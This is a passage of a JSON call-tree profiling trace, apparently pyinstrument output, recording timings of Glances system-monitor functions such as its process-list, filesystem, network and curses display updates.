0.002000,\"attributes\": {\"cGlancesProcesses\": 0.0019997290000901558, \"l579\": 0.0019997290000901558},\"children\": [{\"identifier\": \"dict.update\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.004000,\"attributes\": {\"cGlancesProcesses\": 0.0040002269961405545, \"l689\": 0.0040002269961405545},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.004000,\"attributes\": {\"l589\": 0.0040002269961405545},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.004000,\"attributes\": {\"l584\": 0.0040002269961405545},\"children\": [{\"identifier\": \"dict.items\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.002004,\"attributes\": {\"cProgramlistPlugin\": 0.0020035870038555004, \"l155\": 0.0020035870038555004},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.002004,\"attributes\": {\"cGlancesProcesses\": 0.0020035870038555004, \"l711\": 0.0020035870038555004},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.002004,\"attributes\": {\"l69\": 0.0020035870038555004},\"children\": [{\"identifier\": \"create_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000017\",\"time\": 0.002004,\"attributes\": {\"l19\": 0.0020035870038555004},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.007995,\"attributes\": {\"cProgramlistPlugin\": 0.007995146996108815, \"l678\": 0.005995011000777595, \"l677\": 0.0020001359953312203},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005995,\"attributes\": {\"cProgramlistPlugin\": 0.005995011000777595, \"l634\": 0.0019959389974246733, \"l656\": 0.0019995399998151697, \"l633\": 0.0019995320035377517},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.0019959389974246733, \"l628\": 0.0019959389974246733},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995320035377517, \"l619\": 0.0019995320035377517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002095,\"attributes\": {\"l1295\": 0.002094651004881598},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000109\",\"time\": 0.002095,\"attributes\": {\"cNetworkPlugin\": 0.002094651004881598, \"l116\": 0.002094651004881598},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002095,\"attributes\": {\"cNetworkPlugin\": 0.002094651004881598, \"l1351\": 0.002094651004881598},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/network/__init__.py\\u0000130\",\"time\": 0.002095,\"attributes\": {\"cNetworkPlugin\": 0.002094651004881598, \"l157\": 0.002094651004881598},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.002095,\"attributes\": {\"l2246\": 0.002094651004881598},\"children\": [{\"identifier\": \"net_if_addrs\\u0000<built-in>\\u00000\",\"time\": 0.002095,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002095,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009906,\"attributes\": {\"cProcesslistPlugin\": 0.009905696999339852, \"l678\": 0.009905696999339852},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009906,\"attributes\": {\"cProcesslistPlugin\": 0.009905696999339852, \"l634\": 0.003909399005351588, \"l656\": 0.0020003190002171323, \"l633\": 0.003995978993771132},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001908,\"attributes\": {\"cProcesslistPlugin\": 0.0019081220016232692, \"l628\": 0.0019081220016232692},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001908,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.001997527993808035, \"l614\": 0.001997527993808035},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001277003728319, \"l628\": 0.002001277003728319},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019984509999630973, \"l619\": 0.0019984509999630973},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.002002084002015181, \"l219\": 0.002002084002015181},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.002002084002015181, \"l678\": 0.002002084002015181},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002002,\"attributes\": {\"cSensorsPlugin\": 0.002002084002015181, \"l633\": 0.002002084002015181},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.019098,\"attributes\": {\"cFsPlugin\": 0.015158823996898718, \"l1278\": 0.019098089993349276, \"cIpPlugin\": 0.0019346199987921864, \"cQuicklookPlugin\": 0.002004645997658372},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.019098,\"attributes\": {\"l1295\": 0.019098089993349276},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.015159,\"attributes\": {\"cFsPlugin\": 0.015158823996898718, \"l131\": 0.015158823996898718},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.015159,\"attributes\": {\"cFsPlugin\": 0.015158823996898718, \"l182\": 0.015158823996898718},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.015159,\"attributes\": {\"l630\": 0.004542446004052181, \"l631\": 0.010616377992846537},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003180,\"attributes\": {\"cForkProcess\": 0.0031803919991943985, \"l121\": 0.0031803919991943985},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003180,\"attributes\": {\"l281\": 0.0031803919991943985},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003180,\"attributes\": {\"cPopen\": 0.0031803919991943985, \"l20\": 0.0031803919991943985},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003180,\"attributes\": {\"cPopen\": 0.0031803919991943985, \"l70\": 0.0031803919991943985},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003180,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.005640,\"attributes\": {\"cForkProcess\": 0.005640466995828319, \"l156\": 0.005640466995828319},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.005640,\"attributes\": {\"cPopen\": 0.005640466995828319, \"l41\": 0.005640466995828319},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.005640,\"attributes\": {\"l1165\": 0.005640466995828319},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.005640,\"attributes\": {\"cPollSelector\": 0.005640466995828319, \"l398\": 0.005640466995828319},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.005640,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005640,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001362,\"attributes\": {\"cForkProcess\": 0.0013620540048577823, \"l121\": 0.0013620540048577823},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001362,\"attributes\": {\"l281\": 0.0013620540048577823},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001362,\"attributes\": {\"cPopen\": 0.0013620540048577823, \"l20\": 0.0013620540048577823},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001362,\"attributes\": {\"cPopen\": 0.0013620540048577823, \"l70\": 0.0013620540048577823},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001362,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004976,\"attributes\": {\"cForkProcess\": 0.004975910997018218, \"l156\": 0.004975910997018218},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004976,\"attributes\": {\"cPopen\": 0.004975910997018218, \"l41\": 0.004975910997018218},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004976,\"attributes\": {\"l1165\": 0.004975910997018218},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004976,\"attributes\": {\"cPollSelector\": 0.004975910997018218, \"l398\": 0.004975910997018218},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004976,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004976,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.001935,\"attributes\": {\"cIpPlugin\": 0.0019346199987921864, \"l127\": 0.0019346199987921864},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.001935,\"attributes\": {\"cIpPlugin\": 0.0019346199987921864, \"l140\": 0.0019346199987921864},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.001935,\"attributes\": {\"cIpPlugin\": 0.0019346199987921864, \"l90\": 0.0019346199987921864},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.001935,\"attributes\": {\"l746\": 0.0019346199987921864},\"children\": [{\"identifier\": \"net_if_addrs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002228\",\"time\": 0.001935,\"attributes\": {\"l2268\": 0.0019346199987921864},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001935,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.002005,\"attributes\": {\"cQuicklookPlugin\": 0.002004645997658372, \"l117\": 0.002004645997658372},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.002005,\"attributes\": {\"cCpuPercent\": 0.002004645997658372, \"l252\": 0.002004645997658372},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.002005,\"attributes\": {\"l1945\": 0.002004645997658372},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.002005,\"attributes\": {\"l675\": 0.002004645997658372},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002005,\"attributes\": {\"l730\": 0.002004645997658372},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002005,\"attributes\": {\"l719\": 0.002004645997658372},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.063204,\"attributes\": {\"cGlancesCursesStandalone\": 2.0632037770046736, \"l1154\": 0.05428491400380153, \"l1169\": 1.005052987995441, \"l1172\": 1.003865875005431},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.054285,\"attributes\": {\"cGlancesCursesStandalone\": 0.05428491400380153, \"l1135\": 0.05191494300379418, \"l1136\": 0.0023699710000073537},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051915,\"attributes\": {\"cGlancesCursesStandalone\": 0.05191494300379418, \"l569\": 0.05191494300379418},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.051915,\"attributes\": {\"cGlancesCursesStandalone\": 0.05191494300379418, \"l545\": 0.05191494300379418},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.051915,\"attributes\": {\"cProgramlistPlugin\": 0.023899595005786978, \"l1101\": 0.05191494300379418, \"cProcesslistPlugin\": 0.026000334997661412, \"cHelpPlugin\": 0.002015013000345789},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049900,\"attributes\": {\"cProgramlistPlugin\": 0.023899595005786978, \"l566\": 0.0020071760009159334, \"l587\": 0.047892754002532456, \"cProcesslistPlugin\": 0.026000334997661412},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002007,\"attributes\": {\"l824\": 0.0020071760009159334},\"children\": [{\"identifier\": \"sorted\\u0000<built-in>\\u00000\",\"time\": 0.002007,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047893,\"attributes\": {\"cProgramlistPlugin\": 0.021892419004871044, \"l546\": 0.001990534001379274, \"l538\": 0.04390317000070354, \"cProcesslistPlugin\": 0.026000334997661412, \"l541\": 0.0019990500004496425},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003903,\"attributes\": {\"cProgramlistPlugin\": 0.0039034720030031167, \"l309\": 0.0039034720030031167},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.003903,\"attributes\": {\"cProgramlistPlugin\": 0.0039034720030031167, \"l874\": 0.0019042690037167631, \"l857\": 0.0019992029992863536},\"children\": [{\"identifier\": \"get_limit_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000993\",\"time\": 0.001904,\"attributes\": {\"cProgramlistPlugin\": 0.0019042690037167631, \"l1001\": 0.0019042690037167631},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001904,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.004026,\"attributes\": {\"cProgramlistPlugin\": 0.004026400994916912, \"l361\": 0.002000003994908184, \"l360\": 0.0020263970000087284},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002026,\"attributes\": {\"cProgramlistPlugin\": 0.0020263970000087284, \"l340\": 0.0020263970000087284},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002026,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001974,\"attributes\": {\"cProgramlistPlugin\": 0.0019735680034500547, \"l309\": 0.0019735680034500547},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001974,\"attributes\": {\"cProgramlistPlugin\": 0.0019735680034500547, \"l885\": 0.0019735680034500547},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001974,\"attributes\": {\"cProgramlistPlugin\": 0.0019735680034500547, \"l907\": 0.0019735680034500547},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.001974,\"attributes\": {\"cProgramlistPlugin\": 0.0019735680034500547, \"l991\": 0.0019735680034500547},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001974,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998765001189895, \"l440\": 0.001998765001189895},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998765001189895, \"l294\": 0.001998765001189895},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998765001189895, \"l969\": 0.001998765001189895},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000510001380462, \"l309\": 0.002000510001380462},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000510001380462, \"l885\": 0.002000510001380462},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000510001380462, \"l907\": 0.002000510001380462},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002000510001380462, \"l991\": 0.002000510001380462},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002003039997362066, \"l325\": 0.002003039997362066},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.002003039997362066, \"l882\": 0.002003039997362066},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002030,\"attributes\": {\"cProgramlistPlugin\": 0.002030178002314642, \"l309\": 0.002030178002314642},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002030,\"attributes\": {\"cProgramlistPlugin\": 0.002030178002314642, \"l855\": 0.002030178002314642},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002030,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001966,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001966,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019987039995612577, \"l309\": 0.0019987039995612577},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019987039995612577, \"l885\": 0.0019987039995612577},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019987039995612577, \"l907\": 0.0019987039995612577},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002001098000619095, \"l323\": 0.002001098000619095},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002001,\"attributes\": {\"l242\": 0.002001098000619095},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019988689964520745, \"l397\": 0.0019988689964520745},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004570033052005, \"l308\": 0.0020004570033052005},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.00200010299886344, \"l361\": 0.00200010299886344},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.00200010299886344, \"l350\": 0.00200010299886344},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000389995402656, \"l405\": 0.0020000389995402656},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000141001190059, \"l512\": 0.002000141001190059},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": 